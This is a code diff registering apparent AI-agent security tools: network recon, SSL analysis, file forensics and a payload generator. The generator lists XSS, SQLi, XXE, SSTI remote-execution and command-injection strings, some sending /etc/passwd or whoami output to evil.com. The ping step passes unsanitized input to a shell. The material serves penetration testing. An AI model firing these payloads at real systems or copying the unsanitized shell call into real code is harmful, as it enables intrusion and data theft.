+ description: 'Network reconnaissance for an IP or hostname. Performs DNS lookup, reverse DNS, geolocation (via ip-api.com), ASN info, and ping response time.',
2620
+ parameters: {
2621
+ target: { type: 'string', description: 'IP address or hostname', required: true },
2622
+ },
2623
+ tier: 'free',
2624
+ timeout: 30_000,
2625
+ async execute(args) {
2626
+ const target = String(args.target).replace(/^https?:\/\//, '').replace(/\/.*$/, '').replace(/:.*$/, '').trim();
2627
+ const lines = [
2628
+ '## Network Reconnaissance',
2629
+ '',
2630
+ `**Target**: ${target}`,
2631
+ '',
2632
+ ];
2633
+ // DNS lookup
2634
+ const resolver = new Resolver();
2635
+ resolver.setServers(['8.8.8.8', '1.1.1.1']);
2636
+ let ips = [];
2637
+ let isIP = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/.test(target);
2638
+ if (!isIP) {
2639
+ try {
2640
+ ips = await resolver.resolve4(target);
2641
+ lines.push(`### DNS Resolution`);
2642
+ lines.push(`- **IPv4**: ${ips.join(', ')}`);
2643
+ try {
2644
+ const ipv6 = await resolver.resolve6(target);
2645
+ lines.push(`- **IPv6**: ${ipv6.join(', ')}`);
2646
+ }
2647
+ catch { /* no AAAA */ }
2648
+ lines.push('');
2649
+ }
2650
+ catch (e) {
2651
+ lines.push(`**DNS resolution failed**: ${e.message}`);
2652
+ lines.push('');
2653
+ }
2654
+ }
2655
+ else {
2656
+ ips = [target];
2657
+ }
2658
+ // Reverse DNS
2659
+ if (ips.length > 0) {
2660
+ try {
2661
+ const reverse = await resolver.reverse(ips[0]);
2662
+ lines.push(`### Reverse DNS`);
2663
+ lines.push(`- ${ips[0]} -> ${reverse.join(', ')}`);
2664
+ lines.push('');
2665
+ }
2666
+ catch {
2667
+ lines.push('### Reverse DNS');
2668
+ lines.push('- No PTR record found');
2669
+ lines.push('');
2670
+ }
2671
+ }
2672
+ // Geolocation via ip-api.com
2673
+ const lookupIp = ips[0] || target;
2674
+ try {
2675
+ const resp = await fetchWithTimeout(`http://ip-api.com/json/${lookupIp}?fields=status,message,continent,country,regionName,city,zip,lat,lon,timezone,isp,org,as,asname,reverse,mobile,proxy,hosting,query`, {}, 10000);
2676
+ const geo = await resp.json();
2677
+ if (geo.status === 'success') {
2678
+ lines.push('### Geolocation');
2679
+ lines.push('| Field | Value |');
2680
+ lines.push('|-------|-------|');
2681
+ lines.push(`| IP | ${geo.query} |`);
2682
+ lines.push(`| Country | ${geo.country} |`);
2683
+ lines.push(`| Region | ${geo.regionName} |`);
2684
+ lines.push(`| City | ${geo.city} |`);
2685
+ if (geo.zip)
2686
+ lines.push(`| ZIP | ${geo.zip} |`);
2687
+ lines.push(`| Coordinates | ${geo.lat}, ${geo.lon} |`);
2688
+ lines.push(`| Timezone | ${geo.timezone} |`);
2689
+ lines.push(`| ISP | ${geo.isp} |`);
2690
+ lines.push(`| Organization | ${geo.org} |`);
2691
+ lines.push(`| AS | ${geo.as} |`);
2692
+ lines.push(`| AS Name | ${geo.asname} |`);
2693
+ if (geo.mobile)
2694
+ lines.push(`| Mobile | Yes |`);
2695
+ if (geo.proxy)
2696
+ lines.push(`| Proxy/VPN | Yes |`);
2697
+ if (geo.hosting)
2698
+ lines.push(`| Hosting/DC | Yes |`);
2699
+ lines.push('');
2700
+ }
2701
+ else {
2702
+ lines.push(`### Geolocation — Failed: ${geo.message || 'unknown error'}`);
2703
+ lines.push('');
2704
+ }
2705
+ }
2706
+ catch (e) {
2707
+ lines.push(`### Geolocation — Error: ${e.message}`);
2708
+ lines.push('');
2709
+ }
2710
+ // Ping
2711
+ try {
2712
+ const pingOutput = execSync(`ping -c 3 -W 3 ${target} 2>/dev/null || ping -n 3 -w 3000 ${target} 2>/dev/null`, {
2713
+ timeout: 15000,
2714
+ }).toString();
2715
+ const avgMatch = pingOutput.match(/(?:avg|average)\s*[=/]\s*([\d.]+)/i) ||
2716
+ pingOutput.match(/[\d.]+\/([\d.]+)\/[\d.]+/);
2717
+ const lossMatch = pingOutput.match(/(\d+)%\s*(?:packet\s*)?loss/i);
2718
+ lines.push('### Ping');
2719
+ if (avgMatch)
2720
+ lines.push(`- **Average RTT**: ${avgMatch[1]}ms`);
2721
+ if (lossMatch)
2722
+ lines.push(`- **Packet loss**: ${lossMatch[1]}%`);
2723
+ if (!avgMatch && !lossMatch) {
2724
+ lines.push('```');
2725
+ lines.push(pingOutput.trim().split('\n').slice(-3).join('\n'));
2726
+ lines.push('```');
2727
+ }
2728
+ lines.push('');
2729
+ }
2730
+ catch {
2731
+ lines.push('### Ping — Host unreachable or ping blocked');
2732
+ lines.push('');
2733
+ }
2734
+ return lines.join('\n');
2735
+ },
2736
+ });
2737
+ // ─────────────────────────────────────────────────────────────────────────────
2738
+ // 16. ssl_analyze — Deep SSL/TLS analysis
2739
+ // ─────────────────────────────────────────────────────────────────────────────
2740
+ registerTool({
2741
+ name: 'ssl_analyze',
2742
+ description: 'Deep SSL/TLS analysis using Node.js tls module. Returns protocol version, cipher suite, certificate details (issuer, subject, validity, SANs), certificate chain, HSTS status, and potential security issues.',
2743
+ parameters: {
2744
+ host: { type: 'string', description: 'Hostname to analyze', required: true },
2745
+ port: { type: 'string', description: 'Port number (default: 443)', default: '443' },
2746
+ },
2747
+ tier: 'free',
2748
+ timeout: 30_000,
2749
+ async execute(args) {
2750
+ const host = String(args.host).replace(/^https?:\/\//, '').replace(/\/.*$/, '').replace(/:.*$/, '').trim();
2751
+ const port = parseInt(String(args.port || '443'), 10);
2752
+ const lines = [
2753
+ '## SSL/TLS Analysis',
2754
+ '',
2755
+ `**Host**: ${host}:${port}`,
2756
+ '',
2757
+ ];
2758
+ return new Promise((resolve) => {
2759
+ const socket = tlsConnect({
2760
+ host,
2761
+ port,
2762
+ servername: host,
2763
+ rejectUnauthorized: false, // We want to analyze even bad certs
2764
+ timeout: 15000,
2765
+ }, () => {
2766
+ try {
2767
+ const cert = socket.getPeerCertificate(true);
2768
+ const protocol = socket.getProtocol();
2769
+ const cipher = socket.getCipher();
2770
+ const authorized = socket.authorized;
2771
+ // Protocol & Cipher
2772
+ lines.push('### Connection');
2773
+ lines.push(`- **Protocol**: ${protocol || 'unknown'}`);
2774
+ lines.push(`- **Cipher**: ${cipher?.name || 'unknown'}`);
2775
+ lines.push(`- **Cipher version**: ${cipher?.version || 'unknown'}`);
2776
+ lines.push(`- **Certificate valid**: ${authorized ? 'Yes' : `No — ${socket.authorizationError || 'unknown error'}`}`);
2777
+ lines.push('');
2778
+ if (cert && cert.subject) {
2779
+ // Certificate details
2780
+ lines.push('### Certificate');
2781
+ lines.push('| Field | Value |');
2782
+ lines.push('|-------|-------|');
2783
+ lines.push(`| Subject CN | ${cert.subject?.CN || 'N/A'} |`);
2784
+ lines.push(`| Subject O | ${cert.subject?.O || 'N/A'} |`);
2785
+ lines.push(`| Issuer CN | ${cert.issuer?.CN || 'N/A'} |`);
2786
+ lines.push(`| Issuer O | ${cert.issuer?.O || 'N/A'} |`);
2787
+ lines.push(`| Valid From | ${cert.valid_from || 'N/A'} |`);
2788
+ lines.push(`| Valid To | ${cert.valid_to || 'N/A'} |`);
2789
+ lines.push(`| Serial | ${cert.serialNumber || 'N/A'} |`);
2790
+ lines.push(`| Fingerprint (SHA-256) | ${cert.fingerprint256 || 'N/A'} |`);
2791
+ lines.push(`| Bits | ${cert.bits || 'N/A'} |`);
2792
+ lines.push(`| Signature Algorithm | ${cert.sigalg || cert.asn1Curve || 'N/A'} |`);
2793
+ lines.push('');
2794
+ // SANs
2795
+ const altNames = cert.subjectaltname;
2796
+ if (altNames) {
2797
+ const sans = altNames.split(',').map((s) => s.trim());
2798
+ lines.push('### Subject Alternative Names');
2799
+ for (const san of sans.slice(0, 20)) {
2800
+ lines.push(`- ${san}`);
2801
+ }
2802
+ if (sans.length > 20)
2803
+ lines.push(`... and ${sans.length - 20} more`);
2804
+ lines.push('');
2805
+ }
2806
+ // Certificate chain
2807
+ lines.push('### Certificate Chain');
2808
+ let current = cert;
2809
+ let depth = 0;
2810
+ const seenFP = new Set();
2811
+ while (current && depth < 5) {
2812
+ const fp = current.fingerprint256 || current.fingerprint || '';
2813
+ if (seenFP.has(fp))
2814
+ break;
2815
+ seenFP.add(fp);
2816
+ lines.push(`${depth}. **${current.subject?.CN || 'unknown'}** (${current.issuer?.O || current.issuer?.CN || 'unknown'})`);
2817
+ current = current.issuerCertificate;
2818
+ depth++;
2819
+ }
2820
+ lines.push('');
2821
+ // Expiration check
2822
+ if (cert.valid_to) {
2823
+ const expDate = new Date(cert.valid_to);
2824
+ const daysLeft = Math.ceil((expDate.getTime() - Date.now()) / (1000 * 60 * 60 * 24));
2825
+ if (daysLeft < 0) {
2826
+ lines.push(`**CRITICAL**: Certificate expired ${Math.abs(daysLeft)} days ago!`);
2827
+ }
2828
+ else if (daysLeft < 30) {
2829
+ lines.push(`**WARNING**: Certificate expires in ${daysLeft} days!`);
2830
+ }
2831
+ else {
2832
+ lines.push(`**Certificate expires in**: ${daysLeft} days`);
2833
+ }
2834
+ }
2835
+ // Security issues
2836
+ const issues = [];
2837
+ if (protocol && ['SSLv3', 'TLSv1', 'TLSv1.1'].includes(protocol)) {
2838
+ issues.push(`Outdated protocol: ${protocol} — upgrade to TLS 1.2+`);
2839
+ }
2840
+ if (cert.bits && cert.bits < 2048) {
2841
+ issues.push(`Weak key size: ${cert.bits} bits — minimum recommended is 2048`);
2842
+ }
2843
+ const weakCiphers = ['RC4', 'DES', '3DES', 'MD5', 'NULL', 'EXPORT'];
2844
+ if (cipher?.name) {
2845
+ for (const wc of weakCiphers) {
2846
+ if (cipher.name.includes(wc)) {
2847
+ issues.push(`Weak cipher: ${cipher.name} contains ${wc}`);
2848
+ }
2849
+ }
2850
+ }
2851
+ if (cert.subject?.CN && !cert.subjectaltname?.includes(host) && cert.subject.CN !== host) {
2852
+ issues.push(`Certificate CN (${cert.subject.CN}) does not match host (${host})`);
2853
+ }
2854
+ if (issues.length > 0) {
2855
+ lines.push('');
2856
+ lines.push('### Security Issues');
2857
+ for (const issue of issues)
2858
+ lines.push(`- ${issue}`);
2859
+ }
2860
+ }
2861
+ }
2862
+ catch (e) {
2863
+ lines.push(`Error reading certificate: ${e.message}`);
2864
+ }
2865
+ socket.destroy();
2866
+ // Check HSTS via HTTP
2867
+ fetchWithTimeout(`https://${host}:${port}/`, {}, 10000)
2868
+ .then(resp => {
2869
+ const hsts = resp.headers.get('strict-transport-security');
2870
+ if (hsts) {
2871
+ lines.push('');
2872
+ lines.push('### HSTS');
2873
+ lines.push(`- \`${hsts}\``);
2874
+ if (hsts.includes('includeSubDomains'))
2875
+ lines.push('- Includes subdomains');
2876
+ if (hsts.includes('preload'))
2877
+ lines.push('- Preload enabled');
2878
+ const maxAgeMatch = hsts.match(/max-age=(\d+)/);
2879
+ if (maxAgeMatch) {
2880
+ const days = parseInt(maxAgeMatch[1], 10) / 86400;
2881
+ lines.push(`- Max age: ${days.toFixed(0)} days${days < 365 ? ' (recommended: >= 365)' : ''}`);
2882
+ }
2883
+ }
2884
+ else {
2885
+ lines.push('');
2886
+ lines.push('### HSTS');
2887
+ lines.push('- **Not set** — the site is vulnerable to protocol downgrade attacks');
2888
+ }
2889
+ resolve(lines.join('\n'));
2890
+ })
2891
+ .catch(() => {
2892
+ resolve(lines.join('\n'));
2893
+ });
2894
+ });
2895
+ socket.on('error', (err) => {
2896
+ lines.push(`**Error**: ${err.message}`);
2897
+ resolve(lines.join('\n'));
2898
+ });
2899
+ socket.on('timeout', () => {
2900
+ lines.push('**Error**: Connection timed out');
2901
+ socket.destroy();
2902
+ resolve(lines.join('\n'));
2903
+ });
2904
+ });
2905
+ },
2906
+ });
2907
+ // ─────────────────────────────────────────────────────────────────────────────
2908
+ // 17. payload_generate — Security test payload generator
2909
+ // ─────────────────────────────────────────────────────────────────────────────
2910
+ registerTool({
2911
+ name: 'payload_generate',
2912
+ description: 'Generate context-aware security testing payloads for XSS, SQLi, XXE, SSTI, command injection, path traversal, and header injection. Supports multiple encoding types.',
2913
+ parameters: {
2914
+ type: { type: 'string', description: 'Payload type: xss, sqli, xxe, ssti, command, traversal, header', required: true },
2915
+ context: { type: 'string', description: 'Injection context: html, javascript, attribute, url, json', default: 'html' },
2916
+ encoding: { type: 'string', description: 'Encoding: none, url, html, unicode, double', default: 'none' },
2917
+ },
2918
+ tier: 'free',
2919
+ async execute(args) {
2920
+ const type = String(args.type).toLowerCase();
2921
+ const context = String(args.context || 'html').toLowerCase();
2922
+ const encoding = String(args.encoding || 'none').toLowerCase();
2923
+ const payloads = [];
2924
+ // Generate payloads based on type and context
2925
+ switch (type) {
2926
+ case 'xss':
2927
+ switch (context) {
2928
+ case 'html':
2929
+ payloads.push({ payload: '<script>alert(document.domain)</script>', description: 'Basic script injection' }, { payload: '<img src=x onerror=alert(1)>', description: 'Image error handler' }, { payload: '<svg onload=alert(1)>', description: 'SVG onload' }, { payload: '<body onload=alert(1)>', description: 'Body onload' }, { payload: '<details open ontoggle=alert(1)>', description: 'Details toggle' }, { payload: '<input onfocus=alert(1) autofocus>', description: 'Input autofocus' }, { payload: '<marquee onstart=alert(1)>', description: 'Marquee onstart' }, { payload: '<video src=x onerror=alert(1)>', description: 'Video error' }, { payload: '<iframe srcdoc="<script>alert(1)</script>">', description: 'Iframe srcdoc' }, { payload: '<math><mtext><table><mglyph><style><!--</style><img src=x onerror=alert(1)>', description: 'Mutation XSS' });
2930
+ break;
2931
+ case 'javascript':
2932
+ payloads.push({ payload: "'-alert(1)-'", description: 'String breakout (single quote)' }, { payload: '"-alert(1)-"', description: 'String breakout (double quote)' }, { payload: "';alert(1)//", description: 'Statement termination (single)' }, { payload: '";alert(1)//', description: 'Statement termination (double)' }, { payload: '\\x3cscript\\x3ealert(1)\\x3c/script\\x3e', description: 'Hex encoded tags' }, { payload: '${alert(1)}', description: 'Template literal injection' }, { payload: '`${alert(1)}`', description: 'Template literal full' }, { payload: "constructor.constructor('alert(1)')()", description: 'Constructor bypass' }, { payload: "[].constructor.constructor('alert(1)')()", description: 'Array constructor' }, { payload: 'import("data:text/javascript,alert(1)")', description: 'Dynamic import' });
2933
+ break;
2934
+ case 'attribute':
2935
+ payloads.push({ payload: '" onfocus="alert(1)" autofocus="', description: 'Double-quote breakout + event' }, { payload: "' onfocus='alert(1)' autofocus='", description: 'Single-quote breakout + event' }, { payload: '" onmouseover="alert(1)', description: 'Mouseover event' }, { payload: '"><script>alert(1)</script>', description: 'Tag breakout (double)' }, { payload: "'><script>alert(1)</script>", description: 'Tag breakout (single)' }, { payload: '" style="background:url(javascript:alert(1))"', description: 'Style injection' }, { payload: 'javascript:alert(1)', description: 'JavaScript protocol (href/src)' }, { payload: 'data:text/html,<script>alert(1)</script>', description: 'Data URI (src/href)' }, { payload: '" accesskey="x" onclick="alert(1)" x="', description: 'Accesskey + onclick' }, { payload: '" tabindex="1" onfocus="alert(1)" ', description: 'Tabindex + onfocus' });
2936
+ break;
2937
+ case 'url':
2938
+ payloads.push({ payload: 'javascript:alert(1)', description: 'JavaScript protocol' }, { payload: 'data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==', description: 'Base64 data URI' }, { payload: 'javascript:alert(String.fromCharCode(88,83,83))', description: 'Charcode obfuscation' }, { payload: '//evil.com', description: 'Protocol-relative redirect' }, { payload: 'jaVaScRiPt:alert(1)', description: 'Mixed case protocol' }, { payload: 'java%0ascript:alert(1)', description: 'Newline in protocol' }, { payload: 'java%09script:alert(1)', description: 'Tab in protocol' }, { payload: '&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)', description: 'HTML entity encoded' });
2939
+ break;
2940
+ case 'json':
2941
+ payloads.push({ payload: '{"key":"value<script>alert(1)</script>"}', description: 'Script in JSON value' }, { payload: '{"key":"value\\u003cscript\\u003ealert(1)\\u003c/script\\u003e"}', description: 'Unicode-escaped script' }, { payload: '{"__proto__":{"isAdmin":true}}', description: 'Prototype pollution' }, { payload: '{"constructor":{"prototype":{"isAdmin":true}}}', description: 'Constructor pollution' });
2942
+ break;
2943
+ }
2944
+ break;
2945
+ case 'sqli':
2946
+ payloads.push({ payload: "' OR 1=1--", description: 'Classic OR bypass' }, { payload: "' UNION SELECT NULL,NULL,NULL--", description: 'UNION column discovery' }, { payload: "' AND 1=1--", description: 'Boolean true (for blind SQLi)' }, { payload: "' AND 1=2--", description: 'Boolean false (compare with true)' }, { payload: "' AND SLEEP(5)--", description: 'Time-based blind (MySQL)' }, { payload: "'; WAITFOR DELAY '0:0:5'--", description: 'Time-based blind (MSSQL)' }, { payload: "' AND pg_sleep(5)--", description: 'Time-based blind (PostgreSQL)' }, { payload: "' UNION SELECT table_name,NULL FROM information_schema.tables--", description: 'Table enumeration' }, { payload: "' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--", description: 'Column enumeration' }, { payload: "' OR '1'='1' /*", description: 'Comment-based bypass' }, { payload: "admin'--", description: 'Auth bypass (admin)' }, { payload: "1' ORDER BY 1--+", description: 'Column count detection' }, { payload: "1' ORDER BY 100--+", description: 'Column count detection (error)' }, { payload: "-1 OR 1=1", description: 'Numeric injection' }, { payload: "1; DROP TABLE users--", description: 'Stacked query (destructive)' });
2947
+ break;
2948
+ case 'xxe':
2949
+ payloads.push({ payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>', description: 'Classic XXE (file read)' }, { payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/shadow">]><foo>&xxe;</foo>', description: 'Shadow file read' }, { payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://evil.com/steal">]><foo>&xxe;</foo>', description: 'SSRF via XXE' }, { payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://evil.com/evil.dtd">%xxe;]><foo>bar</foo>', description: 'Out-of-band XXE via DTD' }, { payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]><foo>&xxe;</foo>', description: 'PHP filter XXE' }, { payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]><foo>&xxe;</foo>', description: 'Command execution via expect' }, { payload: '<?xml version="1.0"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///dev/random">]><foo>&xxe;</foo>', description: 'DoS via /dev/random' }, { payload: '<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">]><foo>&lol3;</foo>', description: 'Billion laughs (DoS)' });
2950
+ break;
2951
+ case 'ssti':
2952
+ payloads.push({ payload: '{{7*7}}', description: 'Basic math (Jinja2/Twig/Handlebars)' }, { payload: '${7*7}', description: 'Basic math (EL/Thymeleaf/Freemarker)' }, { payload: '<%= 7*7 %>', description: 'Basic math (ERB/EJS)' }, { payload: '#{7*7}', description: 'Basic math (Slim/Pug/Jade)' }, { payload: "{{''.__class__.__mro__[2].__subclasses__()}}", description: 'Jinja2 class traversal' }, { payload: "{{config.__class__.__init__.__globals__['os'].popen('id').read()}}", description: 'Jinja2 RCE' }, { payload: "{{''.__class__.__mro__[1].__subclasses__()[396]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0].strip()}}", description: 'Jinja2 subprocess' }, { payload: '${T(java.lang.Runtime).getRuntime().exec("id")}', description: 'Spring EL RCE' }, { payload: '__import__("os").popen("id").read()', description: 'Python eval RCE' }, { payload: '{{constructor.constructor("return global.process.mainModule.require(\'child_process\').execSync(\'id\')")()}}', description: 'Node.js SSTI RCE' }, { payload: '<%- global.process.mainModule.require("child_process").execSync("id") %>', description: 'EJS RCE' });
2953
+ break;
2954
+ case 'command':
2955
+ payloads.push({ payload: '; id', description: 'Semicolon chaining' }, { payload: '| id', description: 'Pipe chaining' }, { payload: '`id`', description: 'Backtick execution' }, { payload: '$(id)', description: 'Command substitution' }, { payload: '&& id', description: 'AND chaining' }, { payload: '|| id', description: 'OR chaining' }, { payload: '\nid', description: 'Newline injection' }, { payload: '; cat /etc/passwd', description: 'File read (Linux)' }, { payload: '& type C:\\Windows\\win.ini', description: 'File read (Windows)' }, { payload: '${IFS}id', description: 'IFS space bypass' }, { payload: '{cat,/etc/passwd}', description: 'Brace expansion' }, { payload: 'cat${IFS}/etc${IFS}passwd', description: 'IFS path bypass' }, { payload: "'; ping -c 3 evil.com #", description: 'Out-of-band (ping)' }, { payload: "'; curl evil.com/$(whoami) #", description: 'Out-of-band (curl)' }, { payload: "'; wget evil.com/$(cat /etc/passwd | base64) #", description: 'Data exfiltration' });
2956
+ break;
2957
+ case 'traversal':
2958
+ payloads.push({ payload: '../../../etc/passwd', description: 'Basic traversal (Linux)' }, { payload: '..\\..\\..\\windows\\system32\\drivers\\etc\\hosts', description: 'Basic traversal (Windows)' }, { payload: '....//....//....//etc/passwd', description: 'Double-dot slash bypass' }, { payload: '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd', description: 'URL-encoded traversal' }, { payload: '%252e%252e%252f%252e%252e%252fetc%252fpasswd', description: 'Double URL-encoded' }, { payload: '..%c0%af..%c0%afetc%c0%afpasswd', description: 'UTF-8 overlong encoding' }, { payload: '..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd', description: 'Unicode fullwidth slash' }, { payload: '..;/..;/..;/etc/passwd', description: 'Semicolon bypass (Tomcat)' }, { payload: '..%00/etc/passwd', description: 'Null byte termination' }, { payload: '/proc/self/environ', description: 'Process environment' }, { payload: '/proc/self/cmdline', description: 'Process command line' }, { payload: 'php://filter/convert.base64-encode/resource=/etc/passwd', description: 'PHP filter wrapper' }, { payload: 'file:///etc/passwd', description: 'File protocol' });
2959
+ break;
2960
+ case 'header':
2961
+ payloads.push({ payload: 'Host: evil.com', description: 'Host header injection' }, { payload: 'X-Forwarded-For: 127.0.0.1', description: 'IP spoofing (XFF)' }, { payload: 'X-Forwarded-Host: evil.com', description: 'Host override (XFH)' }, { payload: 'X-Original-URL: /admin', description: 'URL override (Nginx)' }, { payload: 'X-Rewrite-URL: /admin', description: 'URL rewrite (IIS)' }, { payload: 'X-Custom-IP-Authorization: 127.0.0.1', description: 'Custom IP authorization' }, { payload: 'Referer: https://admin.target.com', description: 'Referer spoofing' }, { payload: 'Content-Type: application/json', description: 'Content-Type switching' }, { payload: 'Transfer-Encoding: chunked', description: 'HTTP smuggling (TE)' }, { payload: 'X-HTTP-Method-Override: PUT', description: 'Method override' });
2962
+ break;
2963
+ default:
2964
+ return `Error: Unknown payload type "${type}". Available: xss, sqli, xxe, ssti, command, traversal, header`;
2965
+ }
2966
+ // Apply encoding
2967
+ function encode(s, enc) {
2968
+ switch (enc) {
2969
+ case 'url': return encodeURIComponent(s);
2970
+ case 'html': {
2971
+ const map = { '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' };
2972
+ return s.replace(/[&<>"']/g, c => map[c] || c);
2973
+ }
2974
+ case 'unicode':
2975
+ return Array.from(s).map(c => {
2976
+ const code = c.charCodeAt(0);
2977
+ return code > 127 || '<>"\'&;'.includes(c)
2978
+ ? '\\u' + code.toString(16).padStart(4, '0')
2979
+ : c;
2980
+ }).join('');
2981
+ case 'double': return encodeURIComponent(encodeURIComponent(s));
2982
+ default: return s;
2983
+ }
2984
+ }
2985
+ const lines = [
2986
+ '## Security Test Payloads',
2987
+ '',
2988
+ `**Type**: ${type.toUpperCase()}`,
2989
+ `**Context**: ${context}`,
2990
+ `**Encoding**: ${encoding}`,
2991
+ `**Count**: ${payloads.length} payloads`,
2992
+ '',
2993
+ '### Payloads',
2994
+ '',
2995
+ ];
2996
+ for (let i = 0; i < payloads.length; i++) {
2997
+ const p = payloads[i];
2998
+ const encoded = encode(p.payload, encoding);
2999
+ lines.push(`**${i + 1}. ${p.description}**`);
3000
+ lines.push('```');
3001
+ lines.push(encoded);
3002
+ lines.push('```');
3003
+ lines.push('');
3004
+ }
3005
+ lines.push('---');
3006
+ lines.push('**Disclaimer**: These payloads are for authorized security testing only. Unauthorized use against systems you do not own is illegal.');
3007
+ return lines.join('\n');
3008
+ },
3009
+ });
3010
+ // ─────────────────────────────────────────────────────────────────────────────
3011
+ // 18. forensics_analyze — File forensics
3012
+ // ─────────────────────────────────────────────────────────────────────────────
3013
+ registerTool({
3014
+ name: 'forensics_analyze',
3015
+ description: 'File forensics analysis. Identify file type by magic bytes, extract printable ASCII strings, get file metadata, hex dump, and calculate Shannon entropy (high entropy = encrypted/compressed).',
3016
+ parameters: {
3017
+ file_path: { type: 'string', description: 'Path to file to analyze', required: true },
3018
+ action: { type: 'string', description: 'Action: headers, strings, metadata, hex_dump, entropy', default: 'headers' },
3019
+ },
3020
+ tier: 'free',
3021
+ async execute(args) {
3022
+ const filePath = String(args.file_path);
3023
+ const action = String(args.action || 'headers');
3024
+ if (!existsSync(filePath)) {
3025
+ return `Error: File not found: ${filePath}`;
3026
+ }
3027
+ const lines = [
3028
+ '## File Forensics',
3029
+ '',
3030
+ `**File**: ${filePath}`,
3031
+ `**Action**: ${action}`,
3032
+ '',
3033
+ ];
3034
+ const stat = statSync(filePath);
3035
+ const data = readFileSync(filePath);
3036
+ switch (action) {
3037
+ case 'headers': {
3038
+ // Read first 16 bytes and identify file type
3039
+ const headerBytes = data.slice(0, 16);
3040
+ const hexHeader = Array.from(headerBytes).map(b => b.toString(16).padStart(2, '0')).join(' ');
3041
+ lines.push('### File Header (Magic Bytes)');
3042
+ lines.push('```');
3043
+ lines.push(hexHeader);
3044
+ lines.push('```');
3045
+ lines.push('');
3046
+ // Match against known signatures
3047
+ let identified = false;
3048
+ for (const [sig, name] of FILE_SIGNATURES) {
3049
+ if (sig.every((byte, i) => data[i] === byte)) {
3050
+ lines.push(`**Identified as**: ${name}`);
3051
+ identified = true;
3052
+ break;
3053
+ }
3054
+ }
3055
+ if (!identified) {
3056
+ // Try text detection
3057
+ const isText = data.slice(0, Math.min(512, data.length)).every(b => (b >= 0x20 && b <= 0x7E) || b === 0x0A || b === 0x0D || b === 0x09);
3058
+ if (isText) {
3059
+ lines.push('**Identified as**: Plain text / ASCII file');
3060
+ }
3061
+ else {
3062
+ lines.push('**Identified as**: Unknown binary format');
3063
+ }
3064
+ }
3065
+ lines.push('');
3066
+ lines.push(`**Size**: ${stat.size.toLocaleString()} bytes`);
3067
+ break;
3068
+ }
3069
+ case 'strings': {
3070
+ // Extract printable ASCII strings of length >= 4
3071
+ const strings = [];
3072
+ let current = '';
3073
+ for (const byte of data) {
3074
+ if (byte >= 0x20 && byte <= 0x7E) {
3075
+ current += String.fromCharCode(byte);
3076
+ }
3077
+ else {
3078
+ if (current.length >= 4) {
3079
+ strings.push(current);
3080
+ }
3081
+ current = '';
3082
+ }
3083
+ }
3084
+ if (current.length >= 4)
3085
+ strings.push(current);
3086
+ lines.push(`### Extracted Strings (>= 4 chars)`);
3087
+ lines.push(`**Total strings found**: ${strings.length}`);
3088
+ lines.push('');
3089
+ // Show first 200 strings
3090
+ const display = strings.slice(0, 200);
3091
+ for (let i = 0; i < display.length; i++) {
3092
+ const s = display[i].length > 100 ? display[i].slice(0, 100) + '...' : display[i];
3093
+ lines.push(`${(i + 1).toString().padStart(4)}. \`${s}\``);
3094
+ }
3095
+ if (strings.length > 200) {
3096
+ lines.push(`... and ${strings.length - 200} more`);
3097
+ }
3098
+ // Highlight interesting strings
3099
+ const interesting = strings.filter(s => /password|secret|key|token|api|auth|admin|root|private|bearer|jwt|cookie|session|flag\{|CTF/i.test(s));
3100
+ if (interesting.length > 0) {
3101
+ lines.push('');
3102
+ lines.push('### Interesting Strings');
3103
+ for (const s of interesting.slice(0, 50)) {
3104
+ lines.push(`- \`${s.slice(0, 100)}\``);
3105
+ }
3106
+ }
3107
+ break;
3108
+ }
3109
+ case 'metadata': {
3110
+ lines.push('### File Metadata');
3111
+ lines.push('| Field | Value |');
3112
+ lines.push('|-------|-------|');
3113
+ lines.push(`| Size | ${stat.size.toLocaleString()} bytes (${(stat.size / 1024).toFixed(2)} KB) |`);
3114
+ lines.push(`| Created | ${stat.birthtime.toISOString()} |`);
3115
+ lines.push(`| Modified | ${stat.mtime.toISOString()} |`);
3116
+ lines.push(`| Accessed | ${stat.atime.toISOString()} |`);
3117
+ lines.push(`| Changed | ${stat.ctime.toISOString()} |`);
3118
+ lines.push(`| Mode | ${stat.mode.toString(8)} |`);
3119
+ lines.push(`| UID | ${stat.uid} |`);
3120
+ lines.push(`| GID | ${stat.gid} |`);
3121
+ lines.push(`| Inode | ${stat.ino} |`);
3122
+ lines.push(`| Device | ${stat.dev} |`);
3123
+ lines.push(`| Links | ${stat.nlink} |`);
3124
+ lines.push(`| Is File | ${stat.isFile()} |`);
3125
+ lines.push(`| Is Directory | ${stat.isDirectory()} |`);
3126
+ lines.push(`| Is Symlink | ${stat.isSymbolicLink()} |`);
3127
+ // Hash the file
3128
+ const md5 = createHash('md5').update(data).digest('hex');
3129
+ const sha1 = createHash('sha1').update(data).digest('hex');
3130
+ const sha256 = createHash('sha256').update(data).digest('hex');
3131
+ lines.push('');
3132
+ lines.push('### File Hashes');
3133
+ lines.push(`- **MD5**: \`${md5}\``);
3134
+ lines.push(`- **SHA-1**: \`${sha1}\``);
3135
+ lines.push(`- **SHA-256**: \`${sha256}\``);
3136
+ break;
3137
+ }
3138
+ case 'hex_dump': {
3139
+ // First 256 bytes as hex + ASCII
